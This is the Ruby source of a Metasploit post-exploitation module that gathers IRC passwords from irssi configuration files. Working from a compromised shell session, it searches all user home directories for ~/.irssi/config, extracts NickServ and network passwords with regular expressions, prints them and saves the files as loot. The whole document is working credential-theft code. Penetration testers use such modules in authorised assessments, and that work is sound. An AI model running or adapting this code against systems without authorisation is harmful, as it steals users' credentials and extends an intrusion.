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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Unix
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Multi Gather IRSSI IRC Password(s)',
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        'Description' => %q{
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          This module grabs IRSSI IRC credentials.
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        },
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        'Author' => [
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          'Jonathan Claudius <jclaudius[at]mozilla.com>',
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        ],
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        'Platform' => %w[bsd linux osx unix],
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        'SessionTypes' => %w[shell],
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        'License' => MSF_LICENSE
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      )
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    )
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  end
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  def run
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    print_status('Finding ~/.irssi/config')
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    paths = enum_user_directories.map { |d| d + '/.irssi/config' }
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    paths = paths.select { |f| file?(f) }
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    if paths.empty?
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      print_error('No users found with a ~/.irssi/config file')
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      return
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    end
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    download_passwords(paths)
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  end
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  # Example of what we're looking for in the config...
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  #
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  # ***Identify Password Example***
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  # autosendcmd = "/msg nickserv identify example_password ;wait 2000";
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  #
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  # ***Network Password Example***
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  #    password = "example_password";
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  #
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  def contains_passwords?(path)
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    data = read_file(path)
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    identify_passwords = data.scan(%r{/\^?msg nickserv identify ([^\s]+)})
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    network_passwords = data.scan(/^?password = "([^\s]+)"/)
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    passwords = identify_passwords.flatten + network_passwords.flatten
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    if passwords.any?
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      print_good("Found IRC password(s) of #{passwords.join(',')} in irssi config at #{path}")
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      return true
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    end
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    false
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  end
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  def download_passwords(paths)
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    print_status "Looting #{paths.count} files"
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    paths.each do |path|
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      path.chomp!
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      next if ['.', '..'].include?(path)
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      next unless contains_passwords?(path)
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      loot_path = store_loot(
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        'irssi config file',
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        'text/plain',
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        session,
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        read_file(path),
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        path,
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        'IRC Password'
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      )
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      print_good("irssi config with passwords stored in #{loot_path}")
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    end
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  end
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end
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